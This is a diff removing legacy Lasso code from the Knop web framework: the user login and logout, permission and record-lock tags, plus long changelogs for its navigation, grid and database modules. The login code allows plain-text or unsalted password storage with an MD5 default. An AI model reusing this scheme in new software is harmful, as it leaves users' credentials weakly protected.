-				(self -> 'error_code') = 7503;
-				self -> logout;
-				// TODO: log this
-			/if;
-			// TODO: if singleuser, check uniqueid
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: #validlogin;
-	/define_tag;
-
-
-	define_tag: 'login', -description='Log in user. On successful login, all fields on the user record will be available by -> getdata.\n\
-			Parameters:\n\
-			-username (required) Optional if -force is specified\n\
-			-password (required) Optional if -force is specified\n\
-			-searchparams (optional) Extra search params array to use in combination with username and password\n\
-			-force (optional) Supply a user id for a manually authenticated user if custom authentication logics is needed',
-		-optional='username',
-		-optional='password',
-		-optional='searchparams', -type='array', -copy,
-		-optional='force';
-		local: 'timer'=knop_timer; 
-
-		if(!local_defined('force') && (!local_defined('username') || !local_defined('password')));
-			fail(-9956, self -> type + '->' + tag_name + ' requires -username and -password, or -force');
-		/if;
-		
-		local: 'db'=@(self -> 'userdb'),
-			'validlogin'=false;
-		
-
-		if(local_defined('force') && string(#force) -> size && #force != false);
-			(self -> '_debug_trace') -> insert(tag_name + ': ' + 'Manually authenticating user id ' + #force);
-			#validlogin = true;
-			(self -> 'id_user') = #force;
-
-		else;
-			!local_defined('searchparams') ? local('searchparams'=array);
-			if((local('username') -> size && local('password') -> size));
-				if((self -> 'loginattempt_count') >= 5);
-					// login delay since last attempt was made 
-					(self -> '_debug_trace') -> insert(tag_name + ': Too many login attempts, wait until ' + (2 * (self -> 'loginattempt_count')) + ' seconds has passed since last attempt.');
-					while(((date - (self -> 'loginattempt_date')) -> second) <  (2 * (self -> 'loginattempt_count')) // at least 5 seconds, longer the more attempts
-						&& loop_count < 100); // rescue sling
-						sleep(200);
-					/while;
-				/if;
-				// authenticate user against database (username must be unique)
-				(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Authenticating user');
-				if(#db -> 'isfilemaker');
-					#searchparams -> merge(array(-op='eq', (self -> 'userfield') = '="' + #username + '"'));
-				else;
-					#searchparams -> merge(array(-op='eq', (self -> 'userfield') = #username));
-				/if;
-				#db -> select(#searchparams);
-				(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Searching user db, ' (#db -> found_count) + ' found ' + (#db -> error_msg) + ' ' + (#db -> action_statement));
-				if: #db -> found_count == 1
-					&& #db -> (field: (self -> 'userfield')) == #username; // double check the username
-					// one match, continue by checking the password with case sensitive comparsion
-					if: (self -> 'encrypt') && (self -> 'saltfield') -> size;
-						// use encryption with salt
-						(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Checking password with salted encryption');
-						if: bytes: (#db -> (field: (self -> 'passwordfield'))) 
-							== bytes: (self -> (encrypt: #password, -salt=#db -> (field: (self -> 'saltfield') ), -cipher=(self -> 'encrypt_cipher') ));
-							#validlogin=true;
-						/if;
-					else: (self -> 'encrypt');
-						// use encryption with no salt
-						(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Checking password with encryption, no salt');
-						if: bytes: (#db -> (field: (self -> 'passwordfield'))) 
-							== bytes: (self -> (encrypt: #password, -cipher=(self -> 'encrypt_cipher')));
-							#validlogin=true;
-						/if;
-					else;
-						(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Checking plain text password');
-						if: bytes: (#db -> (field: (self -> 'passwordfield'))) 
-							== bytes: #password;
-							#validlogin=true;
-						/if;
-					/if;
-				/if;
-				if(#validlogin);
-					(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'id_user: ' + #db -> (field: (self -> 'useridfield')));
-					// store user id
-					(self -> 'id_user') = #db -> (field: (self -> 'useridfield'));
-					// store all user record fields in data map
-					(self -> 'data') = #db -> recorddata;
-				/if;
-			/if; // #username and #password
-		/if; // #force
-
-		if: #validlogin; 
-			(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Valid login');
-			(self -> 'loginattempt_count') = 0;
-			(self -> 'error_code') = 0; // No error
-			// set validlogin to true
-			(self -> 'validlogin')=true;
-			// log the action TODO
-			// store client_fingerprint
-			(self -> 'client_fingerprint') = (self -> 'client_fingerprint_expression') -> invoke;
-			// if singleuser, store uniqueid in server side storage
-		else(!(local('username') -> size && local('password') -> size));
-			(self -> 'error_code') = 7502; // Username or password missing
-			self -> logout;
-		else;
-			// TODO:
-			// - block username for a while after too many attempts
-			(self -> 'loginattempt_count') += 1;
-			(self -> 'loginattempt_date') = date; // keep track of when last login attempt happened
-			(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Invalid login (' +  (self -> 'loginattempt_count') + ' attempts)');
-			(self -> 'error_code') = 7501; // Authentication failed
-			self -> logout;
-			// exit
-		/if;
-
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	
-	define_tag: 'logout'; 
-		local: 'timer'=knop_timer; 
-		// set validlogin to false
-		(self -> 'validlogin')=false;
-		(self -> 'id_user') = null;
-		(self -> 'data') = map;
-		(self -> 'permissions') = map;
-		
-		// clear all record locks
-		self -> clearlocks;
-		// log the action
-
-		(self -> '_debug_trace') -> (insert: tag_name + ': ' + 'Logged out');
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-	define_tag: 'getdata', -description='Get field data from the data map.',
-		-required='field';
-		if: (self -> 'data') >> #field;
-			return: (self -> 'data') -> (find: #field);
-		else;
-			(self -> '_debug_trace') -> insert(tag_name + ': ' + #field + ' not known');
-		/if;
-	/define_tag;
-
-	define_tag: 'removedata', -description='Remove field from the data map.',
-		-required='field';
-		if: (self -> 'data') >> #field;
-			(self -> 'data') -> (remove: #field);
-		else;
-			(self -> '_debug_trace') -> insert(tag_name + ': ' + #field + ' not known');
-		/if;
-	/define_tag;
-
-	define_tag: 'id_user', -description='Return the user id';
-		if: self -> auth;
-			return: (self -> 'id_user');
-		else;
-			return: false;
-		/if;
-	/define_tag;
-
-	define_tag: 'setdata', -description='Set field data in the data map. Either -> (setdata: -field=\'fieldname\', -value=\'value\') or -> (setdata: \'fieldname\'=\'value\')',
-		-required='field', -copy,	// can also be a pair with field=value
-		-optional='value', -copy;
-		local: 'timer'=knop_timer; 
-		if: #field -> isa('pair');
-			local: 'value'=#field -> value;
-			#field = #field -> name;
-		/if;
-		fail_if: !(local_defined: 'value'), -1, (self -> type) '->setdata requires a value parameter';
-		(self -> 'data') -> insert(#field = #value);
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	define_tag: 'getpermission', -description='Returns true if user has permission to perform the specified action, false otherwise',
-		-required='permission';
-		if((self -> auth) && (self -> 'permissions') >> #permission);
-			return((self -> 'permissions') -> find(#permission));
-		else;
-			return(false);
-		/if;
-	/define_tag;
-
-	define_tag: 'setpermission', -description='Sets the user\'s permission to perform the specified action (true or false, or just the name of the permission)',
-		-required='permission',
-		-optional='value';
-		if(local_defined('value') && #value != false); // any non-false value is regarded as true
-			(self -> 'permissions') -> insert(#permission=true);
-		else(local_defined('value') && #value == false); // explicit false
-			(self -> 'permissions') -> insert(#permission=false);
-		else; // no value specified is regarded as true
-			(self -> 'permissions') -> insert(#permission=true);
-		/if;
-	/define_tag;
-
-
-	define_tag: 'addlock', -description='Called by database object, adds the name of a database object that has been locked by this user.',
-		-required='dbname';
-		if: (self -> 'dblocks') !>> #dbname && (var: #dbname) -> (isa: 'database');
-			(self -> '_debug_trace') -> insert(tag_name + ': adding database name  ' + #dbname);
-			(self -> 'dblocks') -> (insert: #dbname);
-		/if;
-	/define_tag;
-
-	define_tag: 'clearlocks', -description='Clears all database locks that has been set by this user';
-		local: 'timer'=knop_timer; 
-		if: (self -> auth);
-			(self -> '_debug_trace') -> (insert: tag_name + ': ' + (self -> 'dblocks') -> (join: ', '));
-			iterate: (self -> 'dblocks'), local: 'dbname';
-				if: (var: #dbname) -> (isa: 'database');
-					(var: #dbname) -> (clearlocks: -user=(self -> 'id_user'));
-					#dbname = null;
-				/if;
-			/iterate;
-			// remove all locks that has been cleared
-			(self -> 'dblocks') -> (removeall: null);
-			(self -> '_debug_trace') -> (insert: tag_name + ': done, remaining locks: ' + (self -> 'dblocks') -> (join: ', '));
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-
-
-	define_tag: 'encrypt', -description='Internal use. Encrypts the input using digest encryption, optionally with salt. ',
-		-required='data', -copy,
-		-optional='salt',
-		-optional='cipher';
-		local: 'output'=string;
-		!(local_defined: 'cipher') ? local: 'cipher'=self -> 'encrypt_cipher';
-		if: (local_defined: 'salt');
-			#data = #salt + #data;
-		/if;
-		if: (Cipher_List: -digest) !>> #cipher;
-			// fall back to default digest cipher
-			#cipher = 'MD5';
-		/if;
-		#output = (cipher_digest: #data, -digest=#cipher, -hex);
-		return: #output;
-	/define_tag;
-	
-	define_tag: 'keys', -description='Returns all keys for the stored user data';
-		return: (self -> 'data') -> keys;
-	/define_tag;
-
-/define_type;
-
-
-
-?>
-[
-//------------------------------------------------------------------
-//    End knop_user
-//------------------------------------------------------------------
-
-//##################################################################
-
-][define_tag('changenotes', -description='This tag is created on the fly by buildnamespace.lasso',
-		-namespace='knop_',
-		-optional='type', -optional='date', -copy);
-		local('output'=string, 'changenotes'=map('knop_nav'='2010-11-17	JC	Fixed bug so that session links no longer gets added to urls by the nav -> url tag.
-2010-11-17	JC	Fixed a bug that would not convert local params to an array under certain situations
-2009-09-18	JS	Syntax adjustments for Lasso 9
-2009-09-04	JS	->linkparams: Multiple paramaters with the same name (typically checkboxes) are now passed properly
-2009-05-06	JS	->directorytree considers _include folders as part of the Knop directory structure. nav->include(\'_include/myfile.inc\') will first look for _include/myfile.inc and if not found it will look for _knop/_include/myfile.inc 
-2009-05-05	JS	->include looks for a specified file also inside a _knop folder, if the file does not exist at the specified location
-2009-02-09	JS	->filename: Casting path and actionpath to string
-2008-12-19	JS	->filename (and consequently ->include and ->library) can now use a specific -path instead of the current location\'s path
-2008-12-09	JS	->linkparams: fixed undefined local in trace call (only showed when trace was enabled for the nav object)
-2008-11-25	JS	->getlocation will now avoid disabled and hidden pages when looking for the first page if no default page is specified
-2008-11-03	JS	->getlocation will not break if no navigation items have been defined
-2008-10-30	JS	_mod folders will now work with knop paths with just a single level, so an include file path can end up as _mod_customer/lib_customer.inc or just _mod_customer/lib.inc (the latter variant does not apply to extension-based filenaming, so _mod_customer/.lib will never be a working file path)
-2008-07-10	JS	Added -> label to return the name of the current page
-2008-05-20	JS	->renderhtml: #current# is not automatically added to the template if the more elaborate template format is used. This makes it easier to hide the currentmarker without changing the nav config (partial revert of fix 2008-01-04). 
-2008-05-08	JS	->insert: A duplicate key does no longer cause a fatal error but instead fails silently and logs to the debug log
-2008-05-07	JS	->url: will now call ->linkparams so all links that are constructed from ->url will properly send along the parameters specified in the nav item. This also affects pagination and sort links in grid. 
-2008-05-07	JS	Added ->linkparams, Returns an array for all parameters that should be sent along with nav links (this was previously embedded in renderhtml)
-2008-02-25	JS	->url: new parameter -getargs to add the getargs to the path link if the path equals the current path
-2008-02-06	JC	->insert: the -hide flag can now be a boolean (also the -disabled flag)
-2008-02-03	JS	->include: can now include any specified filename
-2008-02-01	JS	->oncreate: added optional -fileroot to be able to use a root for files that is different from the logical site root used for navigation 
-2008-01-23	JS	->url: Added -autoparams that is required to enable the automatic passing of action_params that begin with "-" (this reverts the default behavior to match the the old)
-2008-01-22	JS	->url: GET params that begin with "-" are sent as parameters on links. -path, -sort, -desc, -q are explicitly excluded from nav links in renderhtml. 
-2008-01-22	JS	When using param based navigation, navigation links now use much cleaner /?path/to/page/ style links instead of /?-path=path/to/page/
-2008-01-22	JS	->getlocation: when navmethod is param, the path can now be sent as unnamed parameter insetad of -path parameter (such as /?path/to/page/). 
-2008-01-04	JS	->renderbreadcrumb: added flag -plain to output breadcrumb without html
-2008-01-04	JS	->renderbreadcrumb: added flag -skipcurrent to not include the current location in the output
-2008-01-04	JS	->insert: -template can now be specified also for individual nav items. Use the form #link##label##current##/link##children#. 
-2008-01-04	JS	->renderhtml: changed #title# to #label# in template for clarity, for example #link##label##current##/link##children# (#title# will remain supported)
-2008-01-04	JS	Added #current# as placeholder for template, to specify where the current marker should occurr. If not specified in the template, the current marker appears immediately after the label.
-2007-12-12	JS	->include now logs processing time for the include to debug trace
-2007-12-11	JS	Added documentation as -description to most member tags, to be used by the new ->help tag
-2007-12-11	JS	Moved ->help to knop_base
-2007-12-04	JS	nav item css class is now applied also to disabled nav items (rendered as <span>)
-2007-11-08	JS	Changed trace so it tracks some things even when it\'s not enabled (like include etc)
-2007-11-05	JS	Added var name to trace output
-2007-10-28	JS	->directorytree: should now work also when knop folders are symlinks
-2007-09-06	JS	top level nav elements that are -disabled now behave properly when accessed
-2007-09-05	JS	-currentmarker can now be set separately on sublevels, not only on topmost level
-2007-08-29	JS	Added _knop as optional base folder to put all knop files in
-2007-08-29	JS	->include: Removed file_exists check since the filename has already been verified in ->filename.
-2007-08-29	JS	Added ->directorytree which returns a map with all knop filenames, to use when searching for includes
-2007-08-28	JS	->oncreate: -filenaming to specify how include files are named prefix/suffix/extension
-2007-08-28	JS	->filename: Implemented support for flexible folder structures
-2007-08-28	JS	Instance variable #actionconfigfile_didrun was not properly declared
-2007-06-18	JS	Added tag timer to most member tags
-2007-06-14	JS	->insert: -url=\'/\' can now be used to specify the "home" location. 
-2007-06-13	JS	added ->children to get a reference to the children nav object for a specified path, so new children can be inserted. Must call ->reindex afterwards. 
-2007-06-13	JS	added ->reindex to rebuild the index maps from scratch. Must be done after adding children items. 
-2007-06-13	JS	added ->addchildren to replace a current children nav object for a specified path. Will handle the reindexing transparently. 
-2007-06-13	JS	added ->keymap, ->pathmap and ->urlmap to access the index maps so they call reindex if they have been invalidated (for example by ->addchildren)
-2007-06-13	JS	added inheritance from knop_base
-2007-06-11	JC	added handling of xhtml output
-2007-06-08	JS	->insert: params with empty values are now ignored
-2007-05-04	JS	->insert: added check that default item exists in children before storing the default
-2007-04-19	JS added ->data to retrieve data stored for the current path (or specified path). Optional -type ensures the returned data has the correct type. 
-2007-04-19	JS ->insert: added -data to store arbitrary data object for each path. The object is stored as reference so a variable can be changed after it has been added to the nav object
-2007-04-19	JS	added ->patharray to return the current path as array
-2007-04-17	JS	->renderhtml: template now supports #link##title##/link##children# in addition to #item# to provide more flexibility
-2007-04-17	JS	->oncreate: added support for -template, -class, currentclass and -currentmarker
-2007-04-13	JS	Implemented -class per navitem (only worked globally with setformat before)
-2007-04-03	JS	->renderhtml: added -renderpath, -expand and -flat to be able to render parts of the nav menu for more flexible layout
-2007-04-03	JS	->renderbreadcrumb: added -home to show the default navigation item first in the breadcrumb 
-2007-04-03	JS	Changed namespace from mt_ to knop_
-2007-03-01	JS	Changed navmethod path so it uses response_filepath instead of $url_path
-2007-02-25	JS	Added ->actionpath
-2007-02-24	JS	->renderhtml: improved handling of classes in nav links
-2007-02-22	JS	->url: added -except
-2007-02-09	JS	->url: corrected the behavior for plain parameters passed to the tag
-2007-02-05	JS	->insert: Added -param to be able to specify params that should be propagated in nav for certain nav elements (like -keyvalue to be able to move between different subtabs for a selected record
-2007-02-05	JS	->renderhtml now use ->url to get the right links
-2007-02-01	JS	Made usage of trace optional to improve performance
-2007-02-01	JS	Improvements to debug_trace to log also recursive events
-2007-02-01	JS	Added ->haschildren, which is now used by ->renderhtml to properly show or hide child level
-2007-01-31	JS	->renderhtml Added renderhtml_levels to keep track of how many levels deep navigation has been rendered, to be able to add proper spacing between navigation and content
-2007-01-31	JS 	->url: -urlargs  Improved handling of urlargs and ?/& delimiters, should work better with navmethod path
-2007-01-30	JS	Removed automatic link title attribute since it can be confusing to show children page titles there
-2007-01-30	JS	Corrected parameter path to -path (bug)
-2007-01-23	JS	->include: \'config\' checks if the same config has already run as actionconfig and won\'t run again in that case
-2007-01-23	JS	->include checks if the file exists first, so no need for empty placeholder files
-2007-01-23	JS	Added ->include and ->library
-2007-01-23	JS	Added ->setlocation
-2007-01-17	JS	Added insert: -hide to allow a location without showing it in navigation
-
-TODO
-Add support for compound expressions for template. The expression could return a map that would override corresponding param values. 
-->insert: Add -raw to be able to inject code into the link tag, similar to form->addfield(-raw). 
-Exclude file name for example index.lasso from getargs
-Optimize nav->url! Very slow with complex nav object. 
-Needs to exclude also -keyfield and -lockfield. Maybe better to add an option to ->url to not auto-add any "-" params at all. 
--params are not sent along in breadcrumb links
-Need simple way to exclude certain "-" params from ->url, also in config per nav item
-Add support for adding nav structure from a database
-Move templates to a member tag to be make it easier to subclass
-Make it possible to use external URL for -url (make sure there is no / before http)
-
-','knop_base'='2009-09-14	JS	Syntax adjustments for Lasso 9
-2009-09-04	JS	Changed $__html_reply__ to content_body
-2009-04-07	JS	->error_msg: custom error numbers can now be added, even if the language already exists.
-2008-01-10	JS	->error_msg: improved reporting of custom error messages such as from bad database queries
-2007-12-13	JS	Added -> error_lang to provide a reference to the knop_lang object for error messages, to be able to add localized error messages to any Knop type (except knop_lang and knop_base)
-2007-12-12	JS	Added -html and -xhtml to ->help to get a nicely formatted output. 
-2007-12-11	JS	Centralized ->error_code and ->error_msg to knop_base. Moved all error codes to error_msg
-2007-12-06	JS	Changed ->help to improve the self-documentation. It will now always return an up to date list of member tags and parameter. 
-2007-11-05	JS	Added var name to trace output
-2007-06-17	JS	Added ->tagtime (was in nav earlier)
-2007-06-13	JS	Added -> varname to be able to retreive the name of the page variable that a type instance is stored in.
-2007-06-13	JS	Added -> xhtml to automatically sense if an xhtml doctype exists in the current page buffer. The result is cached in a page variable for performance. 
-				This is for internal use for member tags that output html. 
-2007-06-13	JS	Introduced page variable $_knop_data for general page level storage and caching, common between different knop objects. 
-2007-06-13	JS	Created the data type
-
-TODO: ->help: add output option to format for Google Code Wiki
-->xhtml is not working properly when site is run by atbegin handler and explicitly writing to content_body 
-
-
-','knop_grid'='2011-01-01	SP	Correction of invalid HTML in <thead> and <tr>
-2010-12-23	SP	Corrected pagination bug for -numbered.
-2010-11-17	JC	Added -startwithfooter flag to grid->renderhtml.  This moves the footer before the column titles in the table header.
-2010-11-17	JC	Changed rawheader inclusion to work even if there\'s no quicksearch for a grid
-2010-05-14	JC	Added span separation on grid footer for better styling
-2010-03-06	SP	Changed default behavior of ->sortparams and ->quicksearch with -sql to add backticks between the table and column names.  Now JOINs may be used.
-2010-03-06	SP	Added ->sortparams and ->quicksearch with -removedotbackticks for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.
-2010-01-27	JC	Adjusted the id support
-2010-01-25	JC	Added support for optional id, used by table, quicksearch and quicksearch_reset
-2009-09-18	JS	Syntax adjustments for Lasso 9
-2009-08-26	JS	Corrected prev/next links when no nav is defined for the grid object
-2009-06-29	JS	->renderlisting: documentation correction (renderlisting never calls renderfooter). 
-2009-01-11	JS	->renderlisting: Made sure that template isn\'t applied on NULL field values since that would cause an error with ->replace 
-2008-12-29	JC	Support for optional classes in table header
-2008-11-27	JC	-> implemented support for td specific classes. The class is inserted in both the TH and TD tag for the specified field
-2008-09-24	JS	->sortparams: fieldnames specified by the -sort parameter are now validated so they exist in the database
-2008-09-24	JS	->sortparams, ->quicksearch: Added protection against backtick sql injection in MySQL object names
-2008-09-10	JS	-numbered can now be specified at oncreate in addition to  ->renderhtml and ->renderfooter. 
-2008-09-08	JS	->sortfield changed so defaultsort is honored even if -nosort is specified (-nosort is only used to prevent the user from changing sort order on the fly)
-2008-09-08	JS	->renderlisting and ->renderfooter optimized by caching the result of nav->url. 
-2008-05-15	JS	->renderfooter: minor adjustment to numbered pagination links
-2008-05-14	JS	->renderfooter (and ->renderhtml): added -numbered as option to get google style numbered pagination links. Render the grid with -numbered (defaults to show 6 page number links plus the far ends) or -numbered=10 or another number. 
-2008-05-13	JS	Added ->renderlisting which is now part of ->renderhtml for more flexibility
-2008-02-25	JS	->renderheader and ->renderfooter calls nav -> url with -getargs 
-2008-01-22	JS	->renderheader, ->renderfooter, ->renderhtml: addded -autoparams to nav -> url used in links since url was changed to default to no autoparams. 
-2008-01-22	JS	->renderheader, ->renderfooter, ->renderhtml: improved support for param based navigation method  in links, cleaned up linking to use nav -> url instead of self -> urlparams when nav is available
-2008-01-22	JC	->quicksearch: Changed wordseparators so that \\r and \\n aren\'t placed as \\r\\n, otherwise they are treated as a single character by ->split. 
-2007-12-11	JS	Added documentation as -description to most member tags, to be used by the new ->help tag
-2007-12-11	JS	Moved ->help to knop_base
-2007-12-03	JS	Added optional -language parameter to set the initial language for the grid object
-2007-12-03	JS	Added -> lang to provide a reference to the knop_lang object that is used for localized strings
-2007-12-03	JS	Added localized strings for English and Swedish
-2007-12-03	JS	Added knop_lang to handle localized strings
-2007-11-11	JC	Added optional -rawheader for extra header content to be inserted before the Quicksearch form
-2007-10-23	JS	->renderheader: added class="grid" to the opening table tag to be able to isolate the css specifications
-2007-10-03	JS	->renderfooter: added unique classes for each type of prev/next link to be able to replace with images using css
-2007-10-03	JS	->renderfooter: Changed prev/next link texts to simple |< << >> >| instead of unicode glyphs
-2007-09-20	JS	Postparams are only sent along for nav params (not "-" params)
-2007-09-07	JS	Also send postparams along in prev/next links (not only getparams)
-2007-09-06	JS	If nav has params defined, those params will be sent along with prev/next links
-2007-09-06	JS	Added encode_url for link params
-2007-09-06	JS	Changed -action to -formaction in the quicksearch form
-2007-08-08	JS	->urlargs: Added exception for -session
-2007-06-18	JS	Added tag timer to most member tags
-2007-06-13	JS	added inheritance from knop_base
-2007-06-11	JC	added handling of xhtml output
-2007-05-30	JS	->quicksearch: added \\r and \\n as word separators. 
-2007-05-03	JS	->addfield: Added check for empty dbfield name before adding to dbfieldmap
-2007-04-19	JS	->quicksearch: added  -value (flag) that makes quicksearch output just the value of the quicksearch field instead of a query
-2007-04-13	JS	->oncreate: added -nosort as global flag (overrides column specific sort options)
-2007-04-13	JS	->renderfooter: Added tbody to footer to make it pass validation, but it\'s still not semantically correct. 
-2007-04-13	JS	Changed field type for quicksearch for non-WebKit based browsers
-2007-04-10	JS	->quicksearch: Added @ as word separator for "word begins with" search
-2007-04-10	JS	->quicksearch: Added -contains as option to perform a simple contains search instead of emulating "word begins with" search
-2007-04-10	JS	->renderheader: When grid has a defaultsort, there should be no "unsort" option in the sortable headings
-2007-04-10	JS	->insert: (-defaultsort=\'desc\') or (-defaultsort=\'descending\') makes the default sort order sort in descending order
-2007-04-04	JS	->addfield: -template can now also be a compound expression
-2007-04-03	JS	Changed namespace from mt_ to knop_
-2007-03-01	JS	Added support for FileMaker with quicksearch (untested)
-2007-03-01	JS	Changed all texts to English
-2007-02-07	JS	Removed classs="first" and class="notopborder" since CSS border-collapse: collapse; eliminates the need
-2007-02-05	JS The -keyvalue parameter for url edit links can be given another name by specifying -keyparamname in addfield
-2007-01-31	JS	->addfield: #value# can be used in -url, as a way to provide mailto links etc in lists
-2007-01-30	JS	Sortable columns now thave three states instead of two: sorted ascending, sorted descending and unsorted. 
-2007-01-30	JS	Improvements to quicksearch, to emulate "word begins with"  searches
-2007-01-26	JS	Added support for quicksearch field in grid header. Specify -quicksearch at ->oncreate, and tell what fields to search by specifying -quicksearch for those fields at ->addfield. 
-				Fields can be search only (no display) by leaving out name and label. All specified fields are searched word for word of thew search string. 
-				Use ->quicksearch to get the search parameters (optionally -sql)
-2007-01-26	JS	Added ->urlargs to get a querystring with all "-" GET params, except those in optional -except string or array parameter. 
-2007-01-22	JS	Adjustments to highlighting and "(redigera)"-link for records with empty values in the linked field
-2007-01-19	JS	Added href titles to sort links and prevnext links
-2007-01-19	JS	Corrected sortparams when no sortfield is specified
-2007-01-19	JS	Addded go to first page, go to last page in footer
-2007-01-19	JS	Added member tag page_skiprecords to help correcting out of bounds page numbers
-2007-01-19	JS	Added member tag lastpage
-2007-01-18	JS	Support for highlighting of affected record after edit or update (class name "highlight")
-2007-01-17	JS	Added addfield: -template
-
-TODO
-Make it possible for knop_grid to work independently of a knop_database object so other types of listings can bre created. 
-Language of quicksearch buttons can\'t be changed after the grid has been created
-tbody is used in renderfooter, which is not semantically correct. can\'t use tfoot though since the footer is rendered twice. 
-Move templates to a member tag to be make it easier to subclass
-Change ->addfield to ->insert and make ->addfield deprecated
-
-','knop_database'='2012-06-10	SP	Fix for decimal precision bug in 8.6.0.1 in renderfooter.
-2012-01-15	SP	Add support for inline host method.  Thanks to Ric Lewis.
-2010-11-23	JS	->settable: removed reference for -table
-2009-09-18	JS	Syntax adjustments for Lasso 9
-2009-06-26	JS	->nextrecord: Added deprecation warning
-2009-05-15	JS	->field: corrected the verification of the -index parameter
-2009-01-09	JS	Added a check before calling resultset_count so it will not break in Lasso versions before 8.5
-2009-01-09	JS	->_unknowntag: fixed incorrect debug_trace
-2008-12-03	JS	->addrecord: improved how keyvalue is returned when adding records
-2008-12-03	JS	->addrecord: inserting a generated keyvalue can now be suppressed by specifying -keyvalue=false
-2008-12-03	JS	->saverecord and ->deleterecord will now use the current keyvalue (if any), so -keyvalue will not have to be specified in that case. 
-2008-11-25	JS	->field and ->recorddata will no longer touch current_record if it was zero
-2008-11-24	JS	->field: Added -index parameter to be able to access any occurrence of the same field name
-2008-11-24	JS	Added -> records that returns a new data type knop_databaserows
-2008-11-24	JS	->resultset_count: added support for -inlinename. 
-2008-11-24	JS	Changed ->nextrecord to ->next. ->nextrecord remains supported for backwards compatibility.
-2008-11-14	JS	->nextrecord resets the record pointer when reaching the last record
-2008-11-13	JS	->recorddata now honors the current record pointer (as incremented by -nextrecord)
-2008-11-13	JS	->recorddata: added -recordindex parameter so a specific record can be returned instead of the first found.
-2008-10-30	JS	->getrecord now REALLY works with integer keyvalues (double oops) - I thought I fixed it 2008-05-28 but misplaced a paren...
-2008-09-26	JS	Added -> resultset_count corresponding to the same Lasso tag, so [resultset]...[/resultset] can now be used through the use of inlinename.
-2008-09-10	JS	-> getrecord, ->saverecord, ->deleterecord: Corrected handling of lock user to work better with knop_user
-2008-07-09	JS	->saverecord: -keeplock now updates the lock timestamp
-2008-05-28	JS	->getrecord now works with integer keyvalues (oops)
-2008-05-27	JS	->get returns a new datatype knop_databaserow 
-2008-05-27	JS	Added ->size and ->get so a database object can be iterated. When iterating each row is returned as an array of field values. 
-2008-05-27	JS	Addedd ->nextrecord that increments the recordpointer each time it is called until the last record in the found set is reached. Returns true as long as there are more records. Useful in a while loop - see example below
-2008-05-27	JS	Implemented record pointer \'current_record\'. The record pointer is reset for each new query. 
-2008-05-27	JS	->field: added -recordindex to get data from any record in the current found set
-2008-05-27	JS	Added ->_unknowntag as shortcut to field
-2008-05-26	JS	Removed onassign since it causes touble
-2008-05-26	JS	Extended field_names to return the field names for any specified table, return field names also for db objects that have never been used for a database query and optionally return field types
-2008-01-29	JS	->getrecord now supports -sql. Make sure that the SQL statement includes the relevant keyfield (and lockfield if locking is used). 
-2008-01-10	JS	->capturesearchvars: error_code and error_msg was mysteriously not set after database operations that caused errors. 
-2008-01-08	JS	->saverecord: added flag -keeplock to be able to save a locked record without releasing the lock
-2007-12-15	JS	Adding support for knop_user in record locking is in progress. Done for ->oncreate and ->getrecord. 
-2007-12-11	JS	Moved error_code and error_msg to knop_base
-2007-12-11	JS	Added documentation as -description to most member tags, to be used by the new ->help tag
-2007-12-11	JS	Moved ->help to knop_base
-2007-12-10	JS	Added ->settable to be able to copy an existing database object and properly set a new table name for it. Faster than creating a new instance from scratch. 
-2007-12-03	JS	Corrected shown_first once again, hoping it\'s right this time
-2007-11-29	JS	Added support for field_names and corresponding member tag ->field_names
-2007-11-05	JS	Added var name to trace output
-2007-10-26	JS	->capturesearchvars: corrected shown_first when no records found
-2007-10-26	JS	->oncreate: added default value "keyfield" if the -keyfield parameter is not specified
-2007-09-06	JS	Corrected self -> \'tagtime\' typo
-2007-06-18	JS	Added tag timer to most member tags
-2007-06-13	JS	added inheritance from knop_base
-2007-06-11	JC	added handling of xhtml output
-2007-05-30	JS	Changed recordid_value to keyfield_value and -recordid to -keyvalue
-2007-05-28	JS	->oncreate: Added clearing of current error at beginning of tag
-2007-04-19	JS	Corrected the handling of -maxrecords and -skiprecords for SQL selects that have LIMIT specified
-2007-04-19	JS	Improved handling of foundrows so it finds any whitespace around SQL keywords, instead of just plain spaces
-2007-04-18	JS	->select now populates recorddata with all the fields for the first found record. Previously it only populated recorddata when there was 1 found record. 
-2007-04-12	JS	->oncreate: Added authentication inline around Database_TableNames../Database_TableNames
-2007-04-10	JS	->oncreate: Improved validation of table name (table_realname can sometimes be null even for valid table names)
-2007-04-03	JS	Changed namespace from mt_ to knop_
-2007-02-02	JS	Improved reporting of Lasso error messaged in error_msg
-2007-01-30	JS 	Added real error codes and additional error data for some errors (like record locked)
-2007-01-30	JS	Changed -keyvalue parameters to copy value instead of pass as reference, to not cause problems when using keyvalue from the same db object as is being updated, for example $db->(saverecord: -keyvalue=$db->keyvalue)
-2007-01-26	JS	Adjusted affectedrecord_keyvalue so it\'s only captured for -add and -update
-2007-01-23	JS	Supports -uselimit (or querys that use LIMIT) and still gets proper searchresult vars (using a separate COUNT(*) query) - may not always get the right result for example for queries with GROUP BY
-2007-01-23	JS	-keyfield can be specified for saverecord to override the default
-2007-01-23	JS	Changed name of ->updaterecord to ->saverecord
-2007-01-23	JS 	Fixed bug where keyfield was missing as returnfield when looking up locked record for deleterecord
-2007-01-23	JS	Added ->field
-2007-01-19	JS	Added maxrecords_value and skiprecords_value to searchresultvars
-2007-01-18	JS	Added affectedrecord_keyvalue to make it possible to highlight affected record in record list (grid)
-
-
-TODO:
